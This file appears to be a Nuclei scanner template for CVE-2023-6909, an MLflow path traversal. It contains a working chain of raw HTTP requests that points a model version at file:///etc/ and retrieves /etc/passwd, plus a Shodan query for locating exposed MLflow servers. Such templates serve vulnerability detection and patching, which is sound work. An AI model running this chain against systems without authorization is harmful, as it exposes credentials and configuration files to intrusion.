nuclei-templates/http/cves/2023/CVE-2023-6909.yaml

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id: CVE-2023-6909
info:
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name: Mlflow <2.9.2 - Path Traversal
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author: Hyunsoo-ds
severity: critical
description: |
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Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
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reference:
- https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6909
- https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
impact: |
Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
remediation: |
To fix this vulnerability, it is important to update the mlflow package to the latest version 2.10.0.
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classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
cve-id: CVE-2023-6909
cwe-id: CWE-29
metadata:
max-request: 5
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verified: true
vendor: lfprojects
product: mlflow
shodan-query: "http.title:\"mlflow\""
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tags: cve,cve2023,mlflow,lfi
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http:
- raw:
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- |
POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
Host: {{Hostname}}
{"name" : "{{randstr}}", "artifact_location": "http:///?/../../../../../../../../../../../../../../etc/"}
- |
POST /api/2.0/mlflow/runs/create HTTP/1.1
Host: {{Hostname}}
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{"experiment_id": "{{EXPERIMENT_ID}}"}
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- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
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{"name": "{{randstr}}"}
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- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
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{"name" : "{{randstr}}", "run_id": "{{RUN_ID}}", "source" : "file:///etc/"}
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- |
GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
Host: {{Hostname}}
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matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header_5
words:
- "filename=passwd"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
extractors:
- type: json
part: body_1
name: EXPERIMENT_ID
group: 1
json:
- '.experiment_id'
internal: true
- type: json
part: body_2
name: RUN_ID
group: 1
json:
- '.run.info.run_id'
internal: true
# digest: 4b0a00483046022100dc4c33652fcf1a1d0dc29690ac81838de82d0c439cc405cb3b0296d4e10cb855022100b3a49f754395ee217ea12cc561be556cc6c3a8da3facee851d5f37fdbab72d61:922c64590222798bb761d5b6d8e72950